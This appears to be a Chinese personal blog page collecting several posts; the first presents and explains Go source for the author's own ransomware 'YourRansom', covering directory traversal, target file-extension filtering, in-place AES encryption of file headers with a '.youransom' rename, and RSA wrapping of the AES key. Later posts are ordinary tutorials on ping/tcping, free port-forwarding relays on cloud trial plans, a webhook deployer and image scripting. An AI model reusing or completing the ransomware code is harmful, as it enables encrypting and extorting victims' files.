自制勒索有感&技术简析

嘛自从去年10月更过博客之后就啥都没写过了。。。这次正好趁着卫队搞新年活动写点什么。

前段时间在卡饭,勒索病毒是很火的一个讨论话题,而我也跟着一位大神的风写了一个简单的勒索病毒,这里写一点东西,作为纪念。

说起勒索病毒,其实它的行为和技术都很简单(除了某些硬肛硬盘的品种之外,当然我们今天讨论的只有普通的文件加密病毒,像cerber那样的)
其主要行为由遍历和加密两部分组成,下面在下使用自己的代码分析一下这两部分的实现(代码较渣还请原谅

首先是遍历,这一部分十分简单,不过还有一个很重要的问题需要注意:不要无脑。先前在下的第一版YourRansom就是因为无脑遍历进了系统文件夹还试图加密才被。。。
闲话不多说,先上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
func do_cAll(path string, cip cipher.Block, action byte) error {

// 获取一下路径的信息
dir, serr := os.Stat(path)
if serr != nil {
return serr
}
// 判断是否是个目录,如果不是就交给加(解)密处理
if !dir.IsDir() {
if action == 'e' && !filter(path, action) {
return nil
}
fmt.Println("File: ", path)
switch action {
case 'e':
encrypt(path, cip)
case 'd':
decrypt(path, cip)
}
}

// 既然到这里了那就是个目录了,让我们继续遍历
fmt.Println("Path: ", path)
// 先打开这个目录
fd, err := os.Open(path)
if err != nil {
return err
}
// 获取到目录下前100个文件名
names, err1 := fd.Readdirnames(100)
if len(names) == 0 || err1 != nil {
return nil
}
// 为每一个文件名迭代一遍自身
for _, name := range names {
do_cAll(path+string(os.PathSeparator)+name, cip, action)
}
return nil
}

其中为了防止无脑遍历我上了一个filter函数,用于判断传入的目录或文件名是否有关键词,以确认是否可以肛(虽然实现还是很无脑):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
func filter(path string, action byte) bool {

// 将传入的路径转为全小写,便于判断
lowPath := strings.ToLower(path)

// 屏蔽和加密后缀列表
innerList := []string{"windows", "program", "appdata", "system"}
suffixList := []string{".txt", ".zip", ".rar", ".7z", ".doc", ".docx", ".ppt", ".pptx", ".xls", ".xlsx", ".jpg", ".gif", ".jpeg", ".png", ".mpg", ".mov", ".mp4", ".avi", ".mp3"}

// 判断路径中是否包含敏感词(大雾)
for _, inner := range innerList {
if strings.Contains(lowPath, inner) {
// 如果存在就返回false
return false
}
}
// 判断路径是否以加密后缀结尾
for _, suffix := range suffixList {
if strings.HasSuffix(lowPath, suffix) {
// 如果是就返回true
return true
}
}
// 既然到这里了那肯定就是既不包含敏感词,也没有加密后缀名的,还是false
return false
}

嗯,这样遍历就实现完成了,接下来是加密这个重头戏。得益于Golang内置库的完备,我们可以直接import一个crypto/aes包来实现aes的加解密。
下面是aes加密的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
func encrypt(filename string, cip cipher.Block) error {

// 判断该文件是否已加密了
if len(filename) >= 11 && filename[len(filename)-10:] == ".youransom" {
fmt.Println("Warning: A encrypted file found.")
return nil
}

// 试图打开文件用于写入
f, err := os.OpenFile(filename, os.O_RDWR, 0)
fmt.Println("Encrypt: ", filename)
if err != nil {
return err
}
fstat, _ := f.Stat()
size := fstat.Size()

// 开始循环加密
buf, out := make([]byte, 16), make([]byte, 16)
for offset := int64(0); size-offset > 16 && offset < 512; offset += 16 {
f.ReadAt(buf, offset)
cip.Encrypt(out, buf)
f.WriteAt(out, offset)
}

// 关闭文件并添加后缀
f.Close()
os.Rename(filename, filename+".youransom")
return nil
}

嗯,在下很贴心地添加了防止二次加密的相关判断用于保护用户的数据安全,多么贴心啊(滑稽

相信有不少兄弟在看到aes加密的时候都是一脸蒙蔽状态:这是啥为啥我看不明白。其实不需要在意太多,因为是全黑盒的所以只要用就好了。
不过基础知识还是要知道的,这里在下简单地说一下:

AES是一种对称加密算法,通常我们可以认为在没有密钥的情况下是无法解密AES的。而所谓对称加密,可以理解为像通常我们理解的加解密那样,用同一个密钥既能加密,也能解密。
这背后是有比较复杂的数学原理的,喜欢探究而且高数成绩不错的同学可以试试去wiki的aes页面看一眼。

毫无疑问AES的性能是很高的,而通常我们看到的勒索却大都写着使用RSA加密,这是一个显而易见的原因的,就是AES是对称加密。
我们很难去简单的使用对称加密实现一个“用户被加密之后不管怎么搞都解不了密只能乖乖交钱”的场景,无论是发送到服务器,还是保存到本地,都是很危险的。
还记得曾经有一个国产加密使用AES还直接把密钥存到本地最后没收到钱还被嘲讽了一番的悲伤故事么?

而这种场景交由rsa实现简直不能再棒了:
RSA是一种非对称加密,它有两个密钥:用其中一个密钥加密的数据只有用另一个密钥才能解密。这就完美地消除了将密钥存储在本地的危险。

下面是在下使用rsa加密aes密钥的实现:

1
2
3
4
5
6
7
8
9
func saveKey(cip []byte) {
keyFile, _ := os.Create("YourRansom.key")
block, _ := pem.Decode(pubKey)
pubI, _ := x509.ParsePKIXPublicKey(block.Bytes)
pub := pubI.(*rsa.PublicKey)
word, _ := rsa.EncryptPKCS1v15(rand.Reader, pub, cip)
keyFile.WriteAt(word, 0)
return
}

最后把它们拼在一起,就成为了YourRansom,一个简单至极的自制勒索。

Github:https://github.com/popu125/YourRansom

Share Comments

[从零开始的博客之旅]序与坑的列表

嘛,欢迎来看bobo的「从零开始的博客之旅」系列,这将是一个大坑_(:з」∠)_,在这一系列博文中我将会带你搭建一个自己的博客出来。同时我会以尽量朴实的语言,解释明白一些必备的知识。本文主要面向比我还小白的小白同志,民那桑一起玩啊(・∀・)

下面是这个系列将会有的博文的列表:

PHP与免空系列:

  • 前期准备(环境与工具)
  • 程序安装与数据库
  • 博客程序的选择
  • 免空的选择与使用

Pages系列:

  • 这是啥
  • J与H的抉择
  • Git使用基本法
  • 免费方案的选择与使用

Ghost系列:

  • 我在说啥
  • 环境时间
  • 配置与安装
  • 免费方案的选择与使用

嗯,既然有列表了我就会按列表慢慢填坑了,顺序分先后。

2017-01-17: 已经成为巨坑,尚未加入todolist,仍坑中。。。

Share Comments

如何测试你的服务器是否可用(包括但不限于MC)

前些日子整天看到问“XX服务器又挂了么”的人们,于是写这篇博文来普及一下常用的连通性测试方法和工具,如标题所说,包括但不限于MC。

在开始之前说两句

在本文中,使用了以下约定俗成的记号:

  • <参数>:表示该参数必须存在
  • [参数]:表示该参数可选

如果无法理解参数的含义,请您立即关闭本文。

对于每一个工具,我会给出连接成功和连接不成功的回显例子,本文所示工具和例子皆为Windows平台下的结果。

本文所列举的使用方式是最简单的使用方式,其他复(gao)杂(ji)用法请查看帮助信息和官方手册。

Ping

1
下载地址:通常由系统自带

Ping,大概是最广为人知的工具了。它可以通过发送ICMP Hello和接受ICMP Reply包来确定服务器是否可用以及延迟。

需要特别注意的是,因为ping和ICMP被广泛应用于不好的领域,故有些服务器会主动屏蔽外界的ICMP包,在这种情况下,无论是否联通,ping都会显示超时。

1
使用方式:ping <地址>即可。

能正常联通到服务器时的例子:

1
2
3
4
5
6
7
8
9
10
11
12
C:\Users\unknown>ping 127.0.0.1

正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128

127.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

无法正常连接服务器的例子:

1
2
3
4
5
6
7
8
9
10
C:\Users\unknown>ping 172.0.0.1

正在 Ping 172.0.0.1 具有 32 字节的数据:
请求超时。
请求超时。
请求超时。
请求超时。

172.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失)

TCPing

1
2
3
4
下载地址(因TCPing的实现过多,这里提供三个不同实现并以第一个为例):
实现1(基于winsocks,只能用于Windows):[http://www.elifulkerson.com/projects/tcping.php](http://www.elifulkerson.com/projects/tcping.php)
实现2(用Python写的,看起来能用):https://github.com/oraccha/tcping
实现3(For Linux Only):http://linuxco.de/tcping/tcping.html

TCPing是使用TCP代替ICMP之后的类ping产物,同样用于测试连通性和延迟,不过可以测试ping无法测试的禁ping服务器,但需要指定端口。

可以用于测试某端口是否开放(当然无法测试UDP的)

1
使用方式:tcping <地址> [端口]

能正常联通到服务器的例子(关键词:Port is open):

1
2
3
4
5
6
7
8
9
10
11
12
C:\Users\unknown>tcping 127.0.0.1 1080

Probing 127.0.0.1:1080/tcp - Port is open - time=19.077ms
Probing 127.0.0.1:1080/tcp - Port is open - time=4.780ms
Probing 127.0.0.1:1080/tcp - Port is open - time=4.787ms
Probing 127.0.0.1:1080/tcp - Port is open - time=5.010ms

Ping statistics for 127.0.0.1:1080
4 probes sent.
4 successful, 0 failed.
Approximate trip times in milli-seconds:
Minimum = 4.780ms, Maximum = 19.077ms, Average = 8.413ms

不能正常联通到服务器的例子(关键词:No response):

1
2
3
4
5
6
7
8
9
10
11
C:\Users\unknown>tcping 127.0.0.1 1081

Probing 127.0.0.1:1081/tcp - No response - time=2009.885ms
Probing 127.0.0.1:1081/tcp - No response - time=2002.236ms
Probing 127.0.0.1:1081/tcp - No response - time=2001.003ms
Probing 127.0.0.1:1081/tcp - No response - time=2001.574ms

Ping statistics for 127.0.0.1:1081
4 probes sent.
0 successful, 4 failed.
Was unable to connect, cannot provide trip statistics.

NSLookup

除了直接测试服务器ip外,对于域名解析是否正常的测试也是相当必要的,这里推荐使用Windows系统自带的nslookup工具来进行测试。
(以下由于bobo太懒,已经被吃,啥时候吐出来尚未明了)

Share Comments

免费TCP端口转发小白教程(For MCers)

之前写过一个SS免费中转教程,可惜那之后没多久在那篇博文中提到的灵雀云就表示不干个人用户了,对于一家被滥用的服务商来说这大概是最好的归宿了吧。
然而我们还是得在“滥用”之路上走下去,这次写给各位的,是MC的端口转发教程。


真♂前言部分

讲讲目的

这篇教程的目的在于帮助屏幕前的小白/偷懒的dalao,让你们的服务器走一个中转,以达到加速南北电信联通移动访问速度的目的。

同时可用于S那啥S(aka. FuckQ工具)

这篇教程更多地面向小白,因此我会讲的细致一些。

理解并实践本教程需要的能力水平

  • 能读懂中文
  • 有基本的概念知识储备(关于如何注册网站等相当基础的内容)
  • 有手机号,在教程进行过程中需要一个手机号用于短信验证。
  • 有足够的精神修养
  • 昵称不是非主流的火星文(根据经验昵称非主流的人是小学生的可能性会大大提高)

关于有什么问题要找作者

  • 通常情况下作者不会在此回答任何问题,如果你来自NC群,请在NC群(at)bobo。
  • 如果是出现了错误,在向作者提问前,请确认你已经写了详细的情况描述,通常标准为50字以上的文字描述和至少一张配图。
  • 如果需要技术支持,你问我资瓷还是不资瓷,我肯定是要在精神上资瓷你的,仅限精神资瓷。

关于视频版教程

目前正准备录一发,但看一看难度。。。

特别注明

该教程利用了daocloud的伪免费试用政策,该政策随时可能取消,同时尚不能确定试用时间过去后专业版容器仍能正常使用,请太过小白没有心理准备者现在关闭。


教程正文

中转服务器的准备

这次被bobo瞄上的是国内目前唯一还活着的免费CaaS服务:Daocloud

因为daocloud的免费版不资瓷TCP,所以下面我萌会说怎样搞个一个月的专业版使(wan)用(shua)。

我们先在上面那个地址那里注册个账号,怎么注册怎么登录我就不说了,我们直接跳到注册/登录后的页面:

1.jpg

这是登录后的界面,我们按照图里的红框戳开账户信息,打开之后你大概就能看到:

2.jpg

红框里的更改套餐(注意是社区版右上方的更改套餐,别点错了)。

打开套餐更改页面之后你会看到下面有一个现金红包未领取,点击领取,如图:

3.jpg

4.jpg

然后我们就点这里的下一步,继续更改套餐,一路下一步,直到你更换套餐完成,准备工作就完成了。我萌就搞到搞到一个资瓷TCP的容器的资格辣~(大雾

正式开干

嗯。。。首先我们需要一个做好的转发用镜像,这里推荐下自己的:链接

直接打开,嗯,可以看到这个镜像啥简介也没有,非常的简洁。不要在意这些细节,戳右上角的蓝色按钮「部署」即可。

配置第一页十分简单,填个名字拉到最下面点基础配置就过了,我就不截图了,这里只注明第二页的配置项:

将端口类型改为”TCP”

在自定义环境变量中填入源地址和端口(最好是IP,填域名有可能出现解析问题)。以及不要紧张,该参数以后是可以随意改动的,也就是说以后换服了还可以继续用的。

在图里可能不是很明了,具体的键与值对应如下(注意大小写敏感):

  • S_ADDR 对应的值为源服务器的地址
  • S_PORT 对应的值是源服务器的端口

好了,无需继续设置,点击开始部署,等待部署完成后enjoy即可。

在应用详情页,我们可以找到转发后服务器的地址和端口。

当然我一般不推荐直接使用它,在你的域名那里添加一个SRV记录自然最好了,至于如何添加,在下只提供:

记录名:_minecraft._tcp.名称
记录类型:SRV
记录值:0 5 端口 服务器地址

特别章:日♂后源服务器地址变更了怎么办

登陆并进入控制台,选择我的应用,点击你的应用名/后面的查看详情,选择配置,在下面的自定义环境变量修改即可。

Share Comments

【好玩的工具】Winja - 一个好看好用的VirusTotal上传器

最近在卡饭看到这个工具,感觉不错,于是分享一下。

说一下自己使用的心得:直接打开,把文件拖上去可以自动上传,不用点那个傻傻的Browse for File,还得用文件选择框。

截图(官方的,我实在懒得截了):

灵魂翻译一下官方加重强调的注意事项:

1
2
3
4
你必须记住非常重要的一点:Winja不是一个杀毒软件或者杀软的替代品,而是一个好用的辅助工具。
我们决定不在Winja里添加任何的杀毒功能,以防止与现有的杀毒软件产生冲突。
Winja被创造出来是为了使用VirusTotal的服务为您提供来自更多杀毒软件的建议来为您的电脑提供一层额外的保护并找出隐藏在您电脑中的恶意软件。
当你上传可疑文件用于鉴定的同时,你已经参与了反病毒公司的样本收集以帮助可疑文件的分析。

软件官网:https://www.phrozensoft.com/2016/05/winja_the_new_unavoidable_security_software-14

Share Comments

记又一次博客折腾(大改完成

又一次折腾了下博客,感觉自己萌萌哒~这次博客系统换成了hexo,直接生成了html,并且push上coding。

折腾的过程中遇到好几个问题的说,但是都折腾过去了:

问题一:HTTPS

嘛,最近不是很流行上HSTS来着,bobo我就给自己上了个HSTS玩,结果弄得现在想随便找个地方放博客都很困难了。

托Andy的福,看到了他在V2发的帖子。发现腾讯云那个证书管理普通用户只是不显示在列表里直接访问还是能用的。
顺便用腾讯免费的COS对象存储作为源。于是bobo的博客又一次在国内上线啦~

问题二:部署方式

既然已经决定部署到COS了,一个重要的问题是文件的同步。。。本以为COS会像七牛一样提供开发者用的Win下的同步工具,没想到翻来翻去只有Linux版
于是配合Coding和GitHub都有的Webhook功能,用轻量级的Bottle(一个Python的Web Framework)写了个简单的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
from bottle import post, get, run
import os
@post('/doshit')
def so():
os.system('bash /deploy.sh')
return 'done'

@get('/')
def index():
return 'running'

run(host='0.0.0.0', port=8080)

一旦我推送了新的内容,Coding就会post一下我部署在灵雀云的deployer,然后bobo我的小py(大雾)就会开始工作,自动pull并且用cossync工具同步上去啦~

挖坑

有空写篇小白教程(估计也没人看)

附录:参考

Coding的Webhook帮助:https://coding.net/help/doc/git/webhook.html
Github的Webhook帮助:https://developer.github.com/webhooks/
Bottle的在线文档:http://www.bottlepy.org/docs/dev/index.html
我的极简单的部署在docker的监听器&同步器:https://git.coding.net/boboliu/cos-gitAutoDeploy.git

Share Comments

百度云减速A记录大法

众所周知百度云减速是有国内节点的,相信部分同学也知道云减速的部分国内节点可以通过特♂殊♂方♂法♂用上,这里让我简单记述一下。

首先你需要把域名添加到百度云减速,记得选CNAME方式,然后去设置上记录过一下验证,最后把DNS那里的CNAME记录换成A记录就好啦~下面是bobo测试过可以使用的国内节点IP:

1
2
3
4
5
6
101.71.56.80
182.150.1.80
120.52.114.80
117.34.112.80
119.147.134.80
116.31.127.80

祝各位好运。

Share Comments

记一次对于Py图像库的蛋疼应用

起因

想帮同学批量生成个门票图片,便于打印(他们竟然在用Acrobat编辑pdf然后打印,当然去年他们竟然用PS编辑,相对来讲倒是好多了。。。)

折腾路上 - 预处理

我第一反应当然是用Py来做这种东西,毕竟轮子比较多。

票务上的同学给了我一个坑爹的xls,数据格式类似(括号内为栗子):座区(QWQ)|票号(2333)|座位信息(QWQ/01/01)
果断上Navicat大法导入一个sqlite文件,提取的时候直接用SQL语句即可。

大坑一 - 图像处理

然后就是图像库这一最重要轮子的问题了,我所知的py图像库有PIL(Pillow)和Wand,看不少人都挺推崇PIL的,果断上之,而且Pillow的文档也相当的全,是一个品质之选。

但是我最后还是选择了Wand,这是因为在一篇文章中看到有人说似乎Pillow的font_size无法正常使用。我在开发的时候用pdf中的字号填了上去,发现字很小,于是听信之。(事实证明并没有这回事

然而在换成Wand之后,用同样的字号值依旧如此,,,坑了

附:测试时所用代码
Pillow(参考自Pillow的doc):

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image, ImageDraw

base = Image.open('4.jpg')
txt = Image.new('RGBA', base.size, (255,255,255,0))
fnt = ImageFont.truetype('./Calibri_Light.ttf', 48.0)
d = ImageDraw.Draw(txt)

d.text((10,10), 'WTF', font=fnt, fill=(255,255,255,255))

out = Image.alpha_composite(base, txt)
out.show()

Wand(参考Wand的doc-Drawing):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from wand.image import Image
from wand.display import display
from wand.drawing import Drawing
from wand.color import Color
from wand.font import Font

img = Image(filename='4.jpg')
with Drawing() as draw:
draw.font = './Calibri_Light.ttf'
draw.font_size = 48.0
draw.fill_color = Color('White')
draw.text(10, 10, 'WTF')
draw(img)
img.save('text.jpg')

后来啊,我发现。。。调大字号字确实能变大,只不过从pdf中找出来的字号大小不合用。。。(喷水.jpg

而且因为已经把基于PIL的代码重写成了基于Wand的代码,干脆就这样用下去吧。

大坑二 - Acrobat导出图片分辨率

本来在用一张测试的时候一切都好好地,但当我开始试图用多张模板进行工作时(他们给了我五个版),坑就来了。每一张图上的字竟然不一样大,而且字所在位置也不同。仔细查看之,发现各图分辨率也是不同,心有所感,打开Acrobat,细细检查导出选项,赫然见一“分辨率:自动选择”(这tm坑爹呢)

于是挨张重新生成之。

最终结果

坑已填好了,bobo就用实际代码说话了:

模块(tkimg.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# -*- coding: utf-8 -*-
from wand.image import Image
from wand.display import display
from wand.drawing import Drawing
from wand.color import Color
from wand.font import Font

def maketk(picname, areainfo, face):
img = Image(filename=picname)

if face == 'front':
for i in (0,1,2):
plus = i * 2350
with Drawing() as draw:
draw.font = './Calibri_Light.ttf'
draw.font_size = 288.0
draw.fill_color = Color('White')
draw.text(160, 2115+plus, areainfo[i][0])
draw.text(1859, 2115+plus, areainfo[i][1])
draw.text(2698, 2115+plus, areainfo[i][2])
draw.text(3518, 2115+plus, areainfo[i][3])
draw.draw(img)
elif face == 'back':
for i in (0,1,2):
plus = i * 2350
with Drawing() as draw:
draw.font = './Calibri_Light.ttf'
draw.font_size = 160.0
draw.fill_color = Color('White')
draw.text(4349, 2180+plus, areainfo[i][4])
draw.draw(img)

imgname = "%s-%s%s%s-%s%s%s.jpg" % (face, areainfo[0][0], areainfo[0][2], areainfo[0][3], areainfo[2][0], areainfo[2][2], areainfo[2][3])
img.save(filename=imgname)

数据处理(app.py):
太懒略之,回头有空再翻出来补。

Share Comments

国内s那啥s中转免费部署教程

嘛…现在好多卖s-s的js一上了国内加速节点就各种大收费…其实如果不是要大范围使用仅仅只是自己翻着用的话完全可以自建一个国内中转来用的(用免费s-s的盆友也可以用这个教程)


简单说下中转为何加速

相信有不少人还是一脸懵逼状态的,为啥我和服务器中间加个中转服务器速度就快了呢。其实原因在于本地家用网络连接国际网络的表现一般都很差(运营商认为你基本用不上),而对于国内机房来说,肯定是拉的专线,一般国际带宽也会好很多,而同时它链接到你家的速度也很快,所以部署中转服务器能起到加速作用

本教程需要的能力水平

  • 能看懂中文
  • 会注册网站
  • 愿意折腾,有耐心一步一步来

注意

本教程每次仅能转发一个节点,使用ss站的朋友们可以选一个来中转。


正片开始

首先,让我们准备一下材料:灵雀云账号一枚(还望灵雀云的同志们多多包涵,总感觉有点滥用的意味)
打开灵雀云(不带推荐的链接在这里),注册一个账号,推荐使用微信注册,这次使用到的免费服务需要绑定微信,那就不如注册时就以微信注册了。

第二步,去用户设置验证一下微信,领了代金券,不然你的应用没有代金券用无法运行别怪我。
打开用户设置

向下拉找到领取优惠券

领取后

第三步,在用户中心首页-服务选择一个区域(代金券可用于北京三或上海一),点击创建服务。

这时会出现选择镜像界面,点右上角的Docker/第三方镜像,并于Docker官方镜像仓库一栏内填入popu111/rinetd

然后戳右下角那个本来应该写着”下一步””Next”之类内容却设计地异常鬼畜名叫基础配置的按钮,进入基础配置页面。

在这里你需要注意的只有记得填个名字(随便起)和容器实例大小是XSS(大了可能代金券不够,然后继续下一步就可以了。(注意,下一步哦~)

这时候到了网络设置,这个页面的功能是指定你需要对外提供服(jiao)务(yi)的端口。这个服务需要对外开放666端口,我已经于Dockerfile中预先配置好了,所以就不需要动了,直接下一步即可(记住下一步哦~)

最后是高级设置,里面一堆看起来很厉害的东西不过你暂时不需要管它们,你只需要在环境变量中输入两个环境变量,一个名称是S_ADDR,值为节点的ip地址(必须是ip地址,没有ip的话可以把服务器地址拿去ping一下,以获取到ip地址),另一个名称是S_PORT,值为你要转发服务的端口(如果你是服务用户,请填用户端口)。记得输完之后要按一下后面的小保存键哦。

最后点击创建服务即可。

#如何使用
首先,我们打开服务列表,可以看到我们先前配置的那个服务还在部署中,让我们多等一会。。。

好了,已经部署完成了,让我们打开应用的配置页面(戳名字)即可看到服务地址的信息了,上面有格式为tcp://项目名-用户.myalauda.cn:端口的链接信息。接下来只需要将其充当为普通的S–S,填入客户端正常使用即可。

快去试试有没有感觉比原来快了吧~

挖坑:还会写关于Dockerfile和Docker的基础介绍和使用指南

感谢:Jad提供了注册和获取优惠码的截图

Share Comments